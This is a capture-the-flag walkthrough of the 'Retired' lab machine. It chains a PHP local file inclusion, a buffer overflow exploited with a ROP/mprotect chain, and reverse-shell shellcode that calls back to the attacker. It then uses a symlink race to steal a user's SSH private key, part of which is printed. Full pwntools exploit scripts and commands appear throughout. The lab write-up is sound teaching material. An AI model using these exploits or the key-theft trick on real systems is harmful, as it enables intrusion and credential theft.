# Retired

IP: 10.10.11.154

# Nmap

# All ports

$ sudo nmap -p- --min-rate=1000 -T4 10.10.11.154

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Service Scan

$ sudo nmap -sC -sV -p 22,80 10.10.11.154 -o nmap.txt

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   3072 77:b2:16:57:c2:3c:10:bf:20:f1:62:76:ea:81:e4:69 (RSA)
|   256 cb:09:2a:1b:b9:b9:65:75:94:9d:dd:ba:11:28:5b:d2 (ECDSA)
|_  256 0d:40:f0:f5:a8:4b:63:29:ae:08:a1:66:c1:26:cd:6b (ED25519)
80/tcp open  http    nginx
| http-title: Agency - Start Bootstrap Theme
|_Requested resource was /index.php?page=default.html
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

# Enumeration

# Port 80

Running gobuster we find some more pages:

gobuster dir -u http://10.10.11.154 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -x txt,html
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.194.200
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,html
[+] Timeout:                 10s
===============================================================
2022/04/03 13:11:48 Starting gobuster in directory enumeration mode
===============================================================
/js                   (Status: 301) [Size: 162] [--> http://10.129.194.200/js/]
/css                  (Status: 301) [Size: 162] [--> http://10.129.194.200/css/]
/assets               (Status: 301) [Size: 162] [--> http://10.129.194.200/assets/]
/default.html         (Status: 200) [Size: 11414]                                  
/beta.html            (Status: 200) [Size: 4144]                                   
/.                    (Status: 302) [Size: 0] [--> /index.php?page=default.html]

Accessing http://10.10.11.154/beta.html we are redirected to http://10.10.11.154/index.php?page=beta.html:

The page talks about uploading a license file of 512 bytes to get into the beta program. When pressing the SUBMIT button we note that it is sending a POST request to activate_license.php.

# LFI

So it seems that index.php is loading html pages from the ?page= parameter as we can see above. We can try to load some internal system files: http://10.10.11.154/index.php?page=/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
_chrony:x:105:112:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
vagrant:x:1000:1000::/vagrant:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
dev:x:1001:1001::/home/dev:/bin/bash

To understand better how the website works lets see the index.php source-code: /index.php?page=/var/www/html/index.php

<?php
function sanitize_input($param) {
    $param1 = str_replace("../","",$param);
    $param2 = str_replace("./","",$param1);
    return $param2;
}

$page = $_GET['page'];
if (isset($page) && preg_match("/^[a-z]/", $page)) {
    $page = sanitize_input($page);
} else {
    header('Location: /index.php?page=default.html');
}

readfile($page);
?>

So here we have our local-file-inclusion vulnerability. Now lets see how the activate_license.php file works when we press the "SUBMIT" button: /index.php?page=/var/www/html/activate_license.php

<?php
if(isset($_FILES['licensefile'])) {
    $license      = file_get_contents($_FILES['licensefile']['tmp_name']);
    $license_size = $_FILES['licensefile']['size'];

    $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
    if (!$socket) { echo "error socket_create()\n"; }

    if (!socket_connect($socket, '127.0.0.1', 1337)) {
        echo "error socket_connect()" . socket_strerror(socket_last_error()) . "\n";
    }

    socket_write($socket, pack("N", $license_size));
    socket_write($socket, $license);

    socket_shutdown($socket);
    socket_close($socket);
}
?>

Based on the source-code, it is loading the file we submit and sending the file size and file content to a service running on 127.0.0.1 - port 1337. But what is this application running on that port? Since we have a LFI vulnerability we can bruteforce the directory /proc/[PID]/maps to find out the applications running on the target. Using this technique we can find not only files and binaries running in the system but its memory address as well. I will use Burp Intruder module to do this task. We set the payload position like that:

And set the payload to sequential numbers like that:

So we will bruteforce PIDs from 1-500 and see if we get anything interesting:

We found a activate_license binary running on PID 424.

We can read the /proc/424/cmdline to check if the binary was started with arguments:

/usr/bin/activate_license 1337

Yes, it seems to be the service running on port 1337 which receives the file we submit on the beta.html page.

We can download the binary for local analysis:

$ curl http://10.129.195.171/index.php?page=/usr/bin/activate_license -o activate_license

# Binary analysis

Looking at the activate_license binary using Ghidra we can see 2 interesting functions.

  • main()
  • activate_license()

The main function starts a listening socket for incoming connections on a specified port. At the end it calls a function named activate_license(): main()

main
int main(int argc,char **argv)

{
  int iVar1;
  __pid_t _Var2;
  int *piVar3;
  char *pcVar4;
  char clientaddr_s [16];
  sockaddr_in clientaddr;
  socklen_t clientaddrlen;
  sockaddr_in server;
  uint16_t port;
  int clientfd;
  int serverfd;
  
  if (argc != 2) {
    error("specify port to bind to");
  }
  iVar1 = __isoc99_sscanf(argv[1],&DAT_00102100,&port);
  if (iVar1 == -1) {
    piVar3 = __errno_location();
    pcVar4 = strerror(*piVar3);
    error(pcVar4);
  }
  printf("[+] starting server listening on port %d\n",(uint)port);
  server.sin_family = 2;
  server.sin_addr = htonl(0x7f000001);
  server.sin_port = htons(port);
  serverfd = socket(2,1,6);
  if (serverfd == -1) {
    piVar3 = __errno_location();
    pcVar4 = strerror(*piVar3);
    error(pcVar4);
  }
  iVar1 = bind(serverfd,(sockaddr *)&server,0x10);
  if (iVar1 == -1) {
    piVar3 = __errno_location();
    pcVar4 = strerror(*piVar3);
    error(pcVar4);
  }
  iVar1 = listen(serverfd,100);
  if (iVar1 == -1) {
    piVar3 = __errno_location();
    pcVar4 = strerror(*piVar3);
    error(pcVar4);
  }
  puts("[+] listening ...");
  while( true ) {
    while( true ) {
      clientfd = accept(serverfd,(sockaddr *)&clientaddr,&clientaddrlen);
      if (clientfd != -1) break;
      fwrite("Error: accepting client\n",1,0x18,stderr);
    }
    inet_ntop(2,&clientaddr.sin_addr,clientaddr_s,0x10);
    printf("[+] accepted client connection from %s:%d\n",clientaddr_s,(uint)clientaddr.sin_port);
    _Var2 = fork();
    if (_Var2 == 0) break;
    __sysv_signal(0x11,(__sighandler_t)0x1);
    close(clientfd);
  }
  close(serverfd);
  activate_license(clientfd);
                    /* WARNING: Subroutine does not return */
  exit(0);
}

activate_license()

void activate_license(int sockfd)

{
  int iVar1;
  ssize_t fileSize;
  int *piVar2;
  char *pcVar3;
  sqlite3_stmt *stmt;
  sqlite3 *db;
  uint32_t msglen;
  char buffer [512];
  
  fileSize = read(sockfd,&msglen,4);
  if (fileSize == -1) {
    piVar2 = __errno_location();
    pcVar3 = strerror(*piVar2);
    error(pcVar3);
  }
  msglen = ntohl(msglen);
  printf("[+] reading %d bytes\n",msglen);
  fileSize = read(sockfd,buffer,(ulong)msglen);
  if (fileSize == -1) {
    piVar2 = __errno_location();
    pcVar3 = strerror(*piVar2);
    error(pcVar3);
  }
  iVar1 = sqlite3_open("license.sqlite",&db);
  if (iVar1 != 0) {
    pcVar3 = (char *)sqlite3_errmsg(db);
    error(pcVar3);
  }
  sqlite3_busy_timeout(db,2000);
  iVar1 = sqlite3_exec(db,
                       "CREATE TABLE IF NOT EXISTS license (   id INTEGER PRIMARY KEY AUTOINCREMENT,    license_key TEXT)"
                       ,0,0,0);
  if (iVar1 != 0) {
    pcVar3 = (char *)sqlite3_errmsg(db);
    error(pcVar3);
  }
  iVar1 = sqlite3_prepare_v2(db,"INSERT INTO license (license_key) VALUES (?)",0xffffffff,&stmt,0);
  if (iVar1 != 0) {
    pcVar3 = (char *)sqlite3_errmsg(db);
    error(pcVar3);
  }
  iVar1 = sqlite3_bind_text(stmt,1,buffer,0x200,0);
  if (iVar1 != 0) {
    pcVar3 = (char *)sqlite3_errmsg(db);
    error(pcVar3);
  }
  iVar1 = sqlite3_step(stmt);
  if (iVar1 != 0x65) {
    pcVar3 = (char *)sqlite3_errmsg(db);
    error(pcVar3);
  }
  iVar1 = sqlite3_reset(stmt);
  if (iVar1 != 0) {
    pcVar3 = (char *)sqlite3_errmsg(db);
    error(pcVar3);
  }
  iVar1 = sqlite3_finalize(stmt);
  if (iVar1 != 0) {
    pcVar3 = (char *)sqlite3_errmsg(db);
    error(pcVar3);
  }
  iVar1 = sqlite3_close(db);
  if (iVar1 != 0) {
    pcVar3 = (char *)sqlite3_errmsg(db);
    error(pcVar3);
  }
  printf("[+] activated license: %s\n",buffer);
  return;
}

Based on the source code analysis, the first thing that called my attention was the 512 bytes buffer variable which matches with the website description of the license file size expected. The logic in the activate_license code seems to be:

  • Checks if the file size is valid and store it into a variable msglen
  • Reads msglen amount of bytes from the file contents and allocate into the buffer

If we could manipulate the file size to something bigger then 512(buffer size) we could potentially overwrite some addresses. Here we have a buffer overflow.

Continuing in the code logic, we see that it is writing the file contents to a database file.

iVar1 = sqlite3_open("license.sqlite",&db);

Using the LFI we can find the database file license.sqlite. Lets download to analyse it:

$ curl 10.129.196.121/index.php?page=../license.sqlite -o license.sqlite

Looking at the db file locally using sqlitebrowser we see one entry of 512 A's:

It is writing 512 bytes to the database file, probably if we send 512+ bytes, the extra length will start to overwrite the memory address.

# Buffer Overflow

What do we know so far?

  • Buffer is 512+ bytes
  • Based on an analysis of activate_license.php for a valid POST request we need to send the license_size as 32 bit, big endian byte order before the content.

# Finding the RIP

To find the RIP (rewrite point) we will create a cyclic pattern to identify how many characters we need to cause the buffer overflow. Lets run the binary using gdb and start creating an exploit skeleton:

$ gdb activate_license
pwndbg> r 1337                                                            
Starting program: /home/caue/htb/retired/activate/activate_license 1337   
[Thread debugging using libthread_db enabled]                             
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] starting server listening on port 1337                                                            
[+] listening ...

Exploit skeleton:

from pwn import *

io = remote('127.0.0.1', 1337)
filesize = p32(800, endian='big')   # We need to pack as 32 bit big endian

payload = [
    size,
    cyclic(1000)                    # Create a 1000 characters pattern
]

payload = b"".join(payload)
io.send(payload)

Running the exploit script we get a segmentation fault in the binary:

Now we look at what value has settled in the RSP register, and calculate the offset to RIP.

pwndbg> x/xw $rsp
0x7fffffffdd18: 0x66616166
$ python2 -c 'from pwn import *; print cyclic_find(unhex("66616166")[::-1])'
520

So we can send 520 bytes before overwriting the RIP. After exiting the debugger, it would be nice to forcibly kill all web server instances:

$ ps aux | grep activate_license | awk '{print $2}' | xargs kill -9

# Overwritting the RIP

Let's check that we can actually overwrite the return address with an arbitrary value. To do this, we will write a simple Python script that will send 520 A's + 0xd34dc0d3 and check the RIP address:

#!/usr/bin/env python3

from pwn import *

context.arch      = 'amd64'
context.os        = 'linux'
context.endian    = 'little'
context.word_size = 64

filesize = p32(800, endian='big')

payload = b''
payload += size
payload += b'A' * 520
payload += p64(0xd34dc0d3)

r = remote('localhost', 1337)
r.sendline(payload)
r.sendline()

Once again, start the binary with gdb and run the python exploit:

Perfect!

# Exploit plan

Before we continue lets check the binary protections:

$ checksec --file activate_license
[*] '/home/caue/htb/retired/activate/activate_license'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

We need to find a way to bypass NX. The most common way is doing a return-to-libc attack but in our case it will not work as we need a reverse shell call back. However, there is a technique that calls mprotect from the libc to change the stack mode into executable. So we can inject shellcode into the stack and get a reverse shell.

# Local - Buffer Overflow

Based on the binary protections we can see above, we will not be able to execute shellcode in the stack because of the NX protection. However, there is a couple ways to circunvent that, one of them is a called "ret-to-mprotect" technique. Basically we can use mprotect to set the stack executable again. For that, we will need some memory addresses to build a ROP chain.

We can use GDB to load the binary and take a look at the memory addresses used. But first, I will turn ASLR off so it makes easier to build our exploit:

$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Load the binary into GDB:

$ gdb activate_license

Run the binary to listen on port 1337:

pwndbg> r 1337

Now we can simply press CTRL + C to pause the execution and have a look at the addresses used with vmmap:

To build our ROP chain we will need the following address, where the arrows are pointing:

  • Libc base: 0x7ffff7c79000
  • Stack base: 0x7ffffffde000
  • Stack end: 0x7ffffffff000

With this addresses plus some gadgets we can make some system calls reusing small pieces of code, this technique is called ROP.

# Finding the gadgets

In order to achieve code execution we will need the following gadgets:

  • pop rdi
  • pop rsi
  • pop rdx
  • mprotect
  • jmp rsp

Make a copy of the libc used by the binary and use ropper to find the gadgets needed:

With all the addresses above we just need a shellcode to be executed after the jmp rsp call. We can use msfvenom to create a reverse shell

$ msfvenom -p linux/x64/shell_reverse_tcp RHOST=127.0.0.1 LPORT=1234 -f py -b '\x00'

Payload size: 119 bytes
Final size of py file: 597 bytes
shellcode =  b""
shellcode += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
shellcode += b"\xef\xff\xff\xff\x48\xbb\xc6\x90\x7e\x57\xca\xcb\x72"
shellcode += b"\xeb\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
shellcode += b"\xac\xb9\x26\xce\xa0\xc9\x2d\x81\xc7\xce\x71\x52\x82"
shellcode += b"\x5c\x3a\x52\xc4\x90\x7a\x85\x0a\x63\x73\x83\x97\xd8"
shellcode += b"\xf7\xb1\xa0\xdb\x28\x81\xec\xc8\x71\x52\xa0\xc8\x2c"
shellcode += b"\xa3\x39\x5e\x14\x76\x92\xc4\x77\x9e\x30\xfa\x45\x0f"
shellcode += b"\x53\x83\xc9\xc4\xa4\xf9\x10\x78\xb9\xa3\x72\xb8\x8e"
shellcode += b"\x19\x99\x05\x9d\x83\xfb\x0d\xc9\x95\x7e\x57\xca\xcb"
shellcode += b"\x72\xeb"

Done! Lets start building our exploit chain.

# Final local exploit

Putting all together:

#!/usr/bin/env python3

from pwn import *

context.clear(arch='amd64')

# pwndbg> vmmap
libc_base = 0x7ffff7c79000
# pwndbg> vmmap
stack_base = 0x7ffffffde000

##########################################
#        FIND THE GADGETS ADDRESS        #
##########################################
# ldd activate_license | grep libc
# cp /lib/x86_64-linux-gnu/libc.so.6 .
# ropper --file libc.so.6 --search 'pop rdi; ret'
pop_rdi = 0x0000000000027c3d
# ropper --file libc.so.6 --search 'pop rdi; rsi'
pop_rsi = 0x000000000002940f
# ropper --file libc.so.6 --search 'pop rdi; rdx'
pop_rdx = 0x00000000000caa2d
# readelf -s libc.so.6 | grep mprotect
mprotect = 0x00000000000f81e0
# ropper --file libc.so.6 --search 'jmp rsp'
jmp_rsp = 0x00000000000465f8

filesize = p32(800, endian='big')

##########################################
#             REVERSE SHELL              #
##########################################
# msfvenom -p linux/x64/shell_reverse_tcp RHOST=127.0.0.1 LPORT=1234 -f py -b '\x00'
shellcode =  b""
shellcode += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
shellcode += b"\xef\xff\xff\xff\x48\xbb\xc6\x90\x7e\x57\xca\xcb\x72"
shellcode += b"\xeb\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
shellcode += b"\xac\xb9\x26\xce\xa0\xc9\x2d\x81\xc7\xce\x71\x52\x82"
shellcode += b"\x5c\x3a\x52\xc4\x90\x7a\x85\x0a\x63\x73\x83\x97\xd8"
shellcode += b"\xf7\xb1\xa0\xdb\x28\x81\xec\xc8\x71\x52\xa0\xc8\x2c"
shellcode += b"\xa3\x39\x5e\x14\x76\x92\xc4\x77\x9e\x30\xfa\x45\x0f"
shellcode += b"\x53\x83\xc9\xc4\xa4\xf9\x10\x78\xb9\xa3\x72\xb8\x8e"
shellcode += b"\x19\x99\x05\x9d\x83\xfb\x0d\xc9\x95\x7e\x57\xca\xcb"
shellcode += b"\x72\xeb"

##########################################
#             PAYLOAD CHAIN              #
##########################################
payload = b''
payload += filesize                  # bypass filesize validation
payload += b'A' * 520                # 520 bytes of padding
payload += p64(libc_base + pop_rdx)
payload += p64(0x7)                  # set mprotect to rwxp
payload += p64(libc_base + pop_rsi)
payload += p64(0x21000)              # pwndbg> vmmap  (stack_end - stack_start)
payload += p64(libc_base + pop_rdi)
payload += p64(stack_base)
payload += p64(libc_base + mprotect) # mprotect call
payload += p64(libc_base + jmp_rsp)
payload += shellcode                 # rev shell

r = remote('localhost', 1337)
r.sendline(payload)

We can see in the image below:

  • Terminal 1: GDB running the binary locally on port 1337
  • Terminal 2: Running the python exploit
  • Terminal 3: Netcat listener on port 1234

After running the python script we get our reverse shell back:

caue@kali:~/htb/retired/activate$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [192.168.1.104] from (UNKNOWN) [192.168.1.104] 41374

id
uid=1000(caue) gid=1000(caue) groups=1000(caue),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(wireshark),121(bluetooth),131(scanner),139(kaboxer)

Perfect, it works locally, now we need to apply that to the target!

# Remote - Buffer Overflow

In order to exploit this binary remotely we will need to update the exploit to match the target environment.

# Updating the addresses

The first thing we need to do is using the LFI to download the libraries used with the binary so we can extract the addresses needed for the ROP chain. Looking at the http://10.10.11.154/index.php?page=/proc/424/maps we can see the libraries loaded:

We can focus on these 2 libraries highlighted above and the stack address. We will use libc-2.31.so to extract most of the addresses for the ROP chain, however we will need a jmp rsp address that it does not exist in this library. Thats when libsqlite3.so.0.8.6 comes in handy. Also the stack start, stack end will be used.

We can easily download the libraries using curl:

$ curl http://10.10.11.154/index.php?page=/usr/lib/x86_64-linux-gnu/libc-2.31.so -o libc-2.31.so
$ curl http://10.10.11.154/index.php?page=/usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6 -o libsqlite3.so.0.8.6

Instead of typing all the ROP addresses manually, we will use the ROP function from pwntools. So we can simply load a library like that:

libc = ELF('./libc.so.6', checksec=False)
rop = ROP([libc])

And simply search for gadgets like that:

pop_rdi = rop.rdi[0]                        
pop_rsi = rop.rsi[0]                        
pop_rdx = rop.rdx[0]                        
jmp_rsp = rop.jmp_rsp[0]                    

# Final exploit

Using the information we got from the LFI and using the libraries we just downloaded we can get to a final exploit like below:

#!/usr/bin/env python3

import requests
from pwn import *

context.clear(arch='amd64')

#########################################
#   FIND THE LIBS AND STACK ADDRESSES   #
#########################################
# curl http://10.10.11.154/index.php?page=/usr/lib/x86_64-linux-gnu/libc-2.31.so -o libc-2.31.so
libc = ELF('./libc-2.31.so', checksec=False)
libc.address = 0x7f64e6b94000               # LFI: /proc/402/maps

# curl http://10.10.11.154/index.php?page=/usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6 -o libsqlite3.so.0.8.6
libsqlite3 = ELF('./libsqlite3.so.0.8.6', checksec=False)
libsqlite3.address = 0x7f64e6d59000         # LFI: /proc/402/maps
stack_base = 0x7ffc836e2000                 # LFI: /proc/402/maps
stack_end = 0x7ffc83703000                  # LFI: /proc/402/maps
stack_size = stack_end - stack_base         # 0x21000

##########################################
#             REVERSE SHELL              #
##########################################
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.2 LPORT=1234 -f py -b '\x00'
buf =  b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
buf += b"\xef\xff\xff\xff\x48\xbb\x50\xa3\x78\xc8\x1f\xfd\xf8"
buf += b"\x70\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += b"\x3a\x8a\x20\x51\x75\xff\xa7\x1a\x51\xfd\x77\xcd\x57"
buf += b"\x6a\xb0\xc9\x52\xa3\x7c\x1a\x15\xf7\xf6\x73\x01\xeb"
buf += b"\xf1\x2e\x75\xed\xa2\x1a\x7a\xfb\x77\xcd\x75\xfe\xa6"
buf += b"\x38\xaf\x6d\x12\xe9\x47\xf2\xfd\x05\xa6\xc9\x43\x90"
buf += b"\x86\xb5\x43\x5f\x32\xca\x16\xe7\x6c\x95\xf8\x23\x18"
buf += b"\x2a\x9f\x9a\x48\xb5\x71\x96\x5f\xa6\x78\xc8\x1f\xfd"
buf += b"\xf8\x70"

##########################################
#        FIND THE GADGETS ADDRESS        #
##########################################
rop = ROP([libc, libsqlite3])               # Load the libs to start ROP chain
# search ROP Gadgets                   
mprotect = libc.symbols['mprotect']         # 0xf8c20   readelf -s libc.so.6 | grep mprotect
pop_rdi = rop.rdi[0]                        # 0x26796   ropper -f libc.so.6 --search "pop rdi; ret"
pop_rsi = rop.rsi[0]                        # 0x2890f   ropper -f libc.so.6 --search "pop rsi; ret"
pop_rdx = rop.rdx[0]                        # 0xcb1cd   ropper -f libc.so.6 --search "pop rdx; ret"
jmp_rsp = rop.jmp_rsp[0]                    # 0xd431d   ropper -f libsqlite3.so.0.8.6 --search "jmp rsp"

offset = 520

##########################################
#            PAYLOAD CHAIN               #
##########################################
payload = b'A' * offset
#int mprotect(void *addr, size_t len, int prot);
payload += p64(pop_rdi) + p64(stack_base)       # addr = Begin of Stack
payload += p64(pop_rsi) + p64(stack_size)       # len = size of Stack
payload += p64(pop_rdx) + p64(7)                # prot = Permission 7 -> rwx
payload += p64(mprotect)                        # call mprotect
payload += p64(jmp_rsp)                         # jmp rsp
payload += buf                                  # reverse shell

# Save payload to a file
write('payload.txt', payload)

# Upload the payload
test_url = "http://10.10.11.154/activate_license.php"
test_response = requests.post(test_url, files = {"licensefile": payload})
if test_response.ok:
    print("Payload sent successfully!")
    print(test_response.text)
else:
    print("Something went wrong!")

# WWW-DATA user

After the binary exploitation successfully done we get a sheel as www-data.

# Privilege escalation 1

Enumerating the system we find an interesting bash script /usr/bin/webbackup:

#!/bin/bash
set -euf -o pipefail
cd /var/www/
SRC=/var/www/html
DST="/var/www/$(date +%Y-%m-%d_%H-%M-%S)-html.zip"
/usr/bin/rm --force -- "$DST"
/usr/bin/zip --recurse-paths "$DST" "$SRC"
KEEP=10
/usr/bin/find /var/www/ -maxdepth 1 -name '*.zip' -print0 \
    | sort --zero-terminated --numeric-sort --reverse \
    | while IFS= read -r -d '' backup; do
        if [ "$KEEP" -le 0 ]; then
            /usr/bin/rm --force -- "$backup"
        fi
        KEEP="$((KEEP-1))"
    done

If we look at /var/www:

www-data@retired:/var/www$ ls -la
total 2008
drwxrwsrwx  3 www-data www-data   4096 Apr 29 04:20 .
drwxr-xr-x 12 root     root       4096 Mar 11 14:36 ..
-rw-r--r--  1 www-data www-data 505153 Apr 29 04:18 2022-04-29_04-18-04-html.zip
-rw-r--r--  1 dev      www-data 505153 Apr 29 04:18 2022-04-29_04-18-06-html.zip
-rw-r--r--  1 dev      www-data 505153 Apr 29 04:19 2022-04-29_04-19-06-html.zip
-rw-r--r--  1 dev      www-data 505153 Apr 29 04:20 2022-04-29_04-20-06-html.zip
drwxrwsrwx  5 www-data www-data   4096 Mar 11 14:36 html
-rw-r--r--  1 www-data www-data  12288 Apr 29 04:05 license.sqlite

It seems that the user dev is making use of this script at every minute to make a backup of the web files.

Create symlink to user dev SSH private key:

www-data@retired:/var/www/html$ ln -s /home/dev/.ssh/id_rsa dev_key
www-data@retired:/var/www/html$ ls -la
total 48
drwxrwsrwx 5 www-data www-data  4096 Apr 29 04:29 .
drwxrwsrwx 3 www-data www-data  4096 Apr 29 04:29 ..
-rw-rwSrw- 1 www-data www-data   585 Oct 13  2021 activate_license.php
drwxrwsrwx 3 www-data www-data  4096 Mar 11 14:36 assets
-rw-rwSrw- 1 www-data www-data  4144 Mar 11 11:34 beta.html
drwxrwsrwx 2 www-data www-data  4096 Mar 11 14:36 css
-rw-rwSrw- 1 www-data www-data 11414 Oct 13  2021 default.html
lrwxrwxrwx 1 www-data www-data    21 Apr 29 04:29 dev_key -> /home/dev/.ssh/id_rsa
-rw-rwSrw- 1 www-data www-data   348 Mar 11 11:29 index.php
drwxrwsrwx 2 www-data www-data  4096 Mar 11 14:36 js

It is a racing condition as the webbackup script will do a cleanup before zipping the files. We need to constantly being creating this symbolic link when the time comes.

www-data@retired:/var/www/html$ ln -s /home/dev/.ssh/id_rsa dev_key                                                                                      
ln: failed to create symbolic link 'dev_key': File exists                                                                                                
www-data@retired:/var/www/html$ ln -s /home/dev/.ssh/id_rsa dev_key                                                                                      
ln: failed to create symbolic link 'dev_key': File exists
...
...

Until finally the script is triggered and we can unzip the backup file containing the user ssh key:

www-data@retired:/var/www$ mkdir test
www-data@retired:/var/www$ cp 2022-04-29_04-33-06-html.zip test/
www-data@retired:/var/www$ cd test/
www-data@retired:/var/www/test$ unzip 2022-04-29_04-33-06-html.zip
Archive:  2022-04-29_04-33-06-html.zip 
   creating: var/www/html/
   creating: var/www/html/js/
  inflating: var/www/html/js/scripts.js  
  inflating: var/www/html/dev_key    
  inflating: var/www/html/activate_license.php  
   creating: var/www/html/assets/
  inflating: var/www/html/assets/favicon.ico  
   creating: var/www/html/assets/img/
  inflating: var/www/html/assets/img/close-icon.svg  
  inflating: var/www/html/assets/img/navbar-logo.svg  
   creating: var/www/html/assets/img/about/
  inflating: var/www/html/assets/img/about/2.jpg  
  inflating: var/www/html/assets/img/about/4.jpg  
  inflating: var/www/html/assets/img/about/3.jpg  
  inflating: var/www/html/assets/img/about/1.jpg  
   creating: var/www/html/assets/img/logos/
  inflating: var/www/html/assets/img/logos/facebook.svg  
  inflating: var/www/html/assets/img/logos/microsoft.svg  
  inflating: var/www/html/assets/img/logos/google.svg  
  inflating: var/www/html/assets/img/logos/ibm.svg  
   creating: var/www/html/assets/img/team/
  inflating: var/www/html/assets/img/team/2.jpg  
  inflating: var/www/html/assets/img/team/3.jpg  
  inflating: var/www/html/assets/img/team/1.jpg  
  inflating: var/www/html/assets/img/header-bg.jpg  
  inflating: var/www/html/beta.html  
  inflating: var/www/html/default.html   
  inflating: var/www/html/index.php  
   creating: var/www/html/css/
  inflating: var/www/html/css/styles.css

Reading the private key:

www-data@retired:/var/www/test/var/www/html$ cat dev_key 
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA58qqrW05/urHKCqCgcIPhGka60Y+nQcngHS6IvG44gcb3w0HN/yf
db6Nzw5wfLeLD4uDt8k9M7RPgkdnIRwdNFxleNHuHWmK0j7OOQ0rUsrs8LudOdkHGu0qQr
AnCIpK3Gb74zh6pe03zHVcZyLR2tXWmoXqRF8gE2hsry/AECZRSfaYRhac6lASRZD74bQb
xOeSuNyMfCsbJ/xKvlupiMKcbD+7RHysCSM6xkgBoJ+rraSpYTiXs/vihkp6pN2jMRa/ee
...<snip>...
L8+QpuPCuHrb2N9JVLxHrTyZh3+v9Pg/R6Za5RCCT36R+W6es8Exoc9itANuoLudiUtZif
84JIKNaGGi6HGdAqHaxBmEn7N/XDu7AAAAwQDuOLR38jHklS+pmYsXyLjOSPUlZI7EAGlC
xW5PH/X1MNBfBDyB+7qjFFx0tTsfVRboJvhiYtRbg/NgfBpnNH8LpswL0agdZyGw3Np4w8
aQSXt9vNnIW2hDwX9fIFGKaz58FYweCXzLwgRVGBfnpq2QSXB0iXtLCNkWbAS9DM3esjsA
1JCCYKFMrvXeeshyxnKmXix+3qeoh8TTQvr7ZathE5BQrYXvfRwZJQcgh8yv71pNT3Gpia
7rTyG3wbNka1sAAAALZGV2QHJldGlyZWQ=
-----END OPENSSH PRIVATE KEY-----

We can use this key to SSH in as dev:

caue@kali:~/htb/retired$ ssh -i dev.idrsa dev@10.10.11.154          
The authenticity of host 10.10.11.154 (10.10.11.154) cant be established.
ED25519 key fingerprint is SHA256:yJ9p3p5aZFrQR+J2qeIQ54gY9gQ7kcEbymYQBvP5PdY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.154' (ED25519) to the list of known hosts.
Linux retired 5.10.0-11-amd64 #1 SMP Debian 5.10.92-2 (2022-02-28) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Mar 28 11:36:17 2022 from 10.10.14.23
dev@retired:~$

# Privilege escalation 2

As we SSH in as dev we see some interesting files and fodlers in the home directory:

dev@retired:~$ ls -la
total 40
drwx------ 6 dev  dev  4096 Mar 11 14:36 .
drwxr-xr-x 3 root root 4096 Mar 11 14:36 ..
